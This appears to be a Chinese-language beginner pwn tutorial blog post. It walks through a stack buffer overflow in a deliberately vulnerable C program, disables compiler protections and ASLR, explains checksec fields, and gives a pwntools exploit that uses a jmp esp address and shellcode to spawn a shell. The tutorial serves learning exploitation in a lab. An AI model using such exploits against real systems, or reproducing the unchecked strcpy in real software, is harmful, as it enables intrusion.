PWN…

0x01

Source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>  
#include <string.h>

void SayHello(char* name)
{
char tmpName[60];

// buffer overflow
strcpy(tmpName, name);

printf("Hello %s\n", tmpName);
}

int main(int argc, char** argv)
{
if (argc != 2) {
printf("Usage: hello <name>.\n");
return 1;
}

SayHello(argv[1]);
return 0;
}

如果直接使用gcc进行编译则会开启栈数据保护和aslr(地址随机化)。
编译命令

1
gcc 1.cpp -g -m32 -o kali_test -zexecstack - fno-stack-protector -no-pie

-zexecstack //关闭NX
-fno-stack-protector //关闭栈数据保护

使用checksec检查文件保护机制,详细介绍

  1. RELRO:分别为Partial RELRO和FULL RELRO,开启FULL RELRO意味着无法修改got表
  2. Stack:表示栈保护是否开启。启用栈保护时,函数执行时会向栈中插入cookie信息,当函数返回时会验证cookie信息。而这个cookie信息就被称为canary。如果开启Canary found,那么就不能直接使用溢出的方法覆盖返回地址,而是需要通过改写指针与局部变量、leak canary、overwrite canary方法进行绕过。
    关于堆栈保护的开启参数:-fno-stack-protector(关闭堆栈保护)、-fstack-protector(开启局部堆栈保护,只针对局部变量含有char数组的函数开启)、-fstack-protector-all(开启所有函数堆栈保护)。
  3. NX: 表示是否有对栈中数据执行的权限。原理就是将数据所在的内存页标记为不可执行,当程序溢出跳转到shellcode时,程序尝试执行指令时,cpu就会抛出异常。这种情况下,call esp或jmp esp方法就不能使用,但是可以利用rop进行绕过。
    关于NX的参数:-z exestack(关闭DEP)
  4. PIE: 表示是否开启地址随机化。如果开启就意味着进程每次运行的时候地址都会变化。
    关于ASLR的参数: 0(关闭地址随机化)、1(表示将mmap的基址,stack和vdso页面随机化)、2(表示在1的基础上增加堆(heap)的随机化)
    关闭ASLR命令:sudo -s echo 0 > /proc/sys/kernel/randomize_va_space
    局部关闭参数:-no-pie(kali下的gdb自带PIE)
    在Linux下需要配合ASLR进行使用,即使开启PIE没有开启ASLR也无法实现地址随机化。

0x02

gdb调试:


可以使用蒸米大佬提供的pattern脚本产生填充字符

在gdb中传入参数

运行,出现错误

使用EIP的值进行偏移计算

这样就可以得出所需填充字符是72个。由于程序NX处于关闭状态,可以直接写入shellcode并且执行。
接下来寻找call espjmp esp这类的操作。ASLR处于关闭状态。
使用命令asmsearch "jmp esp"

poc:'a' * 72 + addr_jmp_esp + shellcode
这里的shellcode选择使用pwntools生成一段。
payload:
1
2
3
4
5
from pwn import *

payload = 'a' * 72 + p32(0xf7dd7b51) + asm(shellcraft.sh())
p = process(argv=['./kali_test',payload])
p.interactive()

运行结果:

0x03 One’s Storm

PWN的路还long…long…long…

参考资料(部分):

  1. Linux下pwn从入门到放弃
  2. kali下栈溢出实验和一些tips
  3. 一步一步学ROP之linux_x86篇

(ง •_•)ง
2018-07-11 12:14:22 星期三